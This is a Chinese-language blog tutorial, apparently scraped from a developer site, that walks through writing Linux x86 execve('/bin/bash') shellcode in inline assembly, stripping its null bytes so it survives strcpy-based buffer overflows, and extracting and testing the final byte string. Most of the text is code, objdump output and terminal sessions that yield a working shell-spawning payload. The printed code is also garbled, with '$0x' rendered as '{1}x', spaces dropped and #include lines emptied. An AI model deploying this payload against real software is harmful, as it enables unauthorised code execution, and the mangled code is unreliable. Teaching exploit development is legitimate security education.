linux 生成shellcode,基本shellcode提取方法

下面,我们用C语言内嵌汇编的方式,构造shellcode,具体代码如下。有一点要注意,Linux X86默认的字节序是little-endian,所以压栈的字符串要注意顺序。(如“/bin/bash”,其16进制表示为0x2f 0x62 0x69 0x6e 0x2f 0x62 0x61 0x73 0x68,在little-endian模式下,其表示为0x68 0x73 0x61 0x62 0x2f 0x6e 0x69 0x62 0x2f,其中有个小技巧,不足4字节的用0x2f(即“/”)补足)。

root@linux:~/pentest# cat shellcode_asm.c

#include 

intmain(intargc,char**argv) {

__asm__

("                \

mov {1}x0,%edx;        \

push %edx;        \

push {1}x68736162;    \

push {1}x2f6e6962;    \

push {1}x2f2f2f2f;    \

mov %esp,%ebx;        \

push %edx;       \

push %ebx;        \

mov %esp,%ecx;        \

mov {1}xb,%eax;        \

int{1}x80;        \

");

return0;

}

root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c

root@linux:~/pentest# ./shellcode_asm

root@linux:/root/pentest# exit

exit

root@linux:~/pentest#

通过编译执行,我们成功的得到了shell命令行。在编写内嵌汇编时,一定要注意格式问题;当然,最重要的是在执行软中断前一定要使各寄存器的值符合我们之前分析的结果。

此时,编写工作还没有完结,要记住我们的最终目的是得到ShellCode,也就是一串汇编指令;而对于strcpy等函数造成的缓冲区溢出攻击,会认为0是一个字符串的终结,那么ShellCode如果包含0就会被截断,导致溢出失败。

用objdump反汇编这个shellcode,并查看是否包含0,命令为:

objdump –d shellcode_asm | less

该命令将会反汇编所有包含机器指令的section,请自行找到main段:

08048394 :

8048394:    55                       push   %ebp

8048395:    89 e5                   mov    %esp,%ebp

8048397:    ba 00 00 00 00      mov    {1}x0,%edx

804839c:    52                       push   %edx

804839d:    68 62 61 73 68      push  {1}x68736162

80483a2:    68 62 69 6e 2f       push   {1}x2f6e6962

80483a7:    68 2f 2f 2f 2f        push   {1}x2f2f2f2f

80483ac:    89 e3                    mov    %esp,%ebx

80483ae:    52                        push   %edx

80483af:    53                        push   %ebx

80483b0:    89 e1                    mov    %esp,%ecx

80483b2:    b8 0b 00 00 00       mov    {1}xb,%eax

80483b7:    cd 80int{1}x80

80483b9:    b8 00 00 00 00       mov    {1}x0,%eax

80483be:    5d                        pop    %ebp

80483bf:    c3                        ret

从反汇编结果可以看到,有两条指令“mov    $0x0,%edx”和“mov    $0xb,%eax”包含0,需要变通一下。我们分别使用“x0r %edx,%edx”和“lea 0xb(%edx),%eax”来替换。

root@linux:~/pentest# cat shellcode_asm.c

#include 

intmain(intargc,char**argv) {

__asm__

("                \

xor %edx,%edx;        \

push %edx;        \

push {1}x68736162;    \

push {1}x2f6e6962;    \

push {1}x2f2f2f2f;    \

mov %esp,%ebx;        \

push %edx;       \

push %ebx;        \

mov %esp,%ecx;        \

lea 0xb(%edx),%eax;    \

int{1}x80;        \

");

return0;

}

root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c

root@linux:~/pentest# ./shellcode_asm

root@linux:/root/pentest# exit

exit

root@linux:~/pentest#

运行没有问题,再看看这个shellcode有没有包含0:

08048394 :

8048394:    55                           push   %ebp

8048395:    89 e5                       mov    %esp,%ebp

8048397:    31 d2                       xor    %edx,%edx

8048399:    52                           push   %edx

804839a:    68 62 61 73 68           push   {1}x68736162

804839f:    68 62 69 6e 2f            push   {1}x2f6e6962

80483a4:    68 2f 2f 2f 2f             push   {1}x2f2f2f2f

80483a9:    89 e3                        mov    %esp,%ebx

80483ab:   52                             push   %edx

80483ac:    53                            push   %ebx

80483ad:    89 e1                        mov    %esp,%ecx

80483af:    8d 42 0b                    lea    0xb(%edx),%eax

80483b2:    cd 80int{1}x80

80483b4:    b8 00 00 00 00            mov    {1}x0,%eax

80483b9:    5d                            pop    %ebp

80483ba:    c3                            ret

80483bb:    90                            nop

80483bc:    90                            nop

80483bd:    90                            nop

80483be:    90                            nop

80483bf:    90                       nop

可以看到,所有曾经出现0的指令,在进行指令替换之后,所有的0全部消除了。注意,我们只提取嵌入汇编部分的指令的二进制代码作为我们的shellcode使用,即从0x8048397到0x80483b2地址之间的指令。

即,我们生成的shellcode为:

\x31\xd2\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80

root@linux:~/pentest# cat test_shellcode.c

#include 

charshellcode[] =

"\x31\xd2\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f"

"\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

intmain(intargc,char**argv) {

__asm__

("                \

call shellcode;        \

");

}

root@linux:~/pentest# gcc -g -o test_shellcode test_shellcode.c

root@linux:~/pentest# ./test_shellcode

Segmentation fault

root@linux:~/pentest# gcc -z execstack -g -o test_shellcode test_shellcode.c

root@linux:~/pentest# ./test_shellcode

root@linux:/root/pentest# exit

exit

root@linux:~/pentest#

可以看到,shellcode提取成功!0b1331709591d260c1c78e86d0c51c18.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值